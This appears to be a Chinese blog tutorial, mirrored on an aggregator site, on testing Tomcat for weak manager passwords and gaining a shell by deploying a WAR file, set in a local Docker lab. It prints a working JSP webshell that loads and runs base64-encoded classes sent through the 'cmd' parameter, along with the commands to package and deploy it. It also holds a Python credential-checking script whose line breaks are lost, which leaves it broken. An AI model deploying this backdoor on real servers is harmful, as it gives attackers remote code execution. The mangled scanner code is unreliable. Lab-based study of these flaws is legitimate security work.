当前位置: 首页 > news >正文

Tomcat 相关漏洞扫描器(二)

前言

该漏洞扫描器用来测试Tomcat框架下的站点是否存在漏洞

一、Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat版本:8.0

环境说明

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

  • manager(后台管理)

    • manager-gui 拥有html页面权限

    • manager-status 拥有查看status的权限

    • manager-script 拥有text接口的权限,和status权限

    • manager-jmx 拥有jmx权限,和status权限

  • host-manager(虚拟主机管理)

    • admin-gui 拥有html页面权限

    • admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    
</tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击

漏洞测试

无需编译,直接启动整个环境:

docker compose up -d

打开tomcat管理页面 http://127.0.0.1:8081/manager/html,输入弱密码 tomcat:tomcat,即可访问后台。

关键点:该Tomcata环境后台登录存在弱口令,因此可以通过 BP 爆破的形式来获取弱口令,只是由于该登录存在登录次数限制,因此只是在该环境下存在弱口令,我们已经知道该弱口令,所以真正要做的是直接登录弱口令后,在后台上传 war 包然后 getshell。

登录成功后上传 war 包,然后getshell

这里的 war 包找一个 jsp 木马进行打包

1.jsp

<%!class U extends ClassLoader {U(ClassLoader c){super(c);}public Class g(byte[] b){return super.defineClass(b,0,b.length);}}public byte[] base64Decode(String str) throws Exception{try{Class clazz =Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);}catch (Exception e){Class clazz =Class.forName("java.util.Base64");Object decoder =clazz.getMethod("getDecoder").invoke(null);return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);}}
%>
<% String cls =request.getParameter("cmd");if(cls != null){new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 }
%>

打包:jar cvf tomcat.war a.jsp

访问:http://127.0.0.1:8081/tomcat/1.jsp ,证明上传war成功

测试tomcat 8.0 版本后台登录是否存在弱口令:

import requests
import base64url = 'http://127.0.0.1:8081/manager/html'def tomcat_weak_password(url):users = ['tomcat']passwords = ['tomcat']for user in users:for password in passwords:tomcat_passwd = user.strip()+':'+password.strip()#base64编码encoded_password = base64.b64encode(tomcat_passwd.encode('utf-8'))encoded_password_end = 'Basic '+str(encoded_password,'utf-8')headers = {'Content-Type': 'application/x-www','Authorization':encoded_password_end,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36'}response = requests.get(url, headers=headers)if response.status_code == 200:print('存在弱口令')breakelse:print('不存在弱口令')tomcat_weak_password(url);
http://www.dtcms.com/a/403599.html

相关文章:

  • PyTorch张量切片的陷阱:视图与副本
  • 旅游酒店网站建设零基础可以学平面设计吗
  • 哪里学网站开发店铺设计图片
  • 小淇云库-Docker 新手入门:容器创建、镜像打包与数据卷管理基础
  • Docker 部署 Ollama 详细教程以及镜像高速下载地址
  • Rust数组与向量
  • 【LeetCode 每日一题】1886. 判断矩阵经轮转后是否一致
  • linux下进程coredump分析
  • 【数据结构学习篇】--栈和stack
  • 钻研视频——破细节
  • 网站建设哪家某网站项目策划书
  • 网站建设制作设计公司佛山内蒙网站建设赫伟创意星空科技
  • 上海网站seo策划设计工具
  • 声明式事务6
  • 南京建设网站公司做车品的网站
  • Next.js动态路由介绍([projectId]/page.tsx:动态路由参数、参数占位符、动态参数、动态数据)无需预创建目录、共享页面逻辑
  • Java核心之泛型
  • 直播进入“智”时代!智享 AI 驱动个性化内容,升级高效互动场景
  • 河南襄县做网站的公司查企业官网
  • Linux:fork()函数详解:原理、用法及经典面试题解析
  • tensorflow卷积层1——卷积和池化
  • tensorflow加载和预处理数据
  • DAY 03 CSS的认识
  • 黑群晖做php网站pc网站手机网站
  • Jakarta EE 实验 — Web 聊天室(过滤器、监听器版)
  • 做js题目的网站知乎抖音代运营公司合法吗
  • MyBatis的最佳搭档(MyBatis-Plus)
  • 无用知识研究:和普通函数不同,返回类型也参与了模板函数的signature
  • 简单小结类与对象
  • Java 大视界 -- Java 大数据机器学习模型在金融风险传染路径分析与防控策略制定中的应用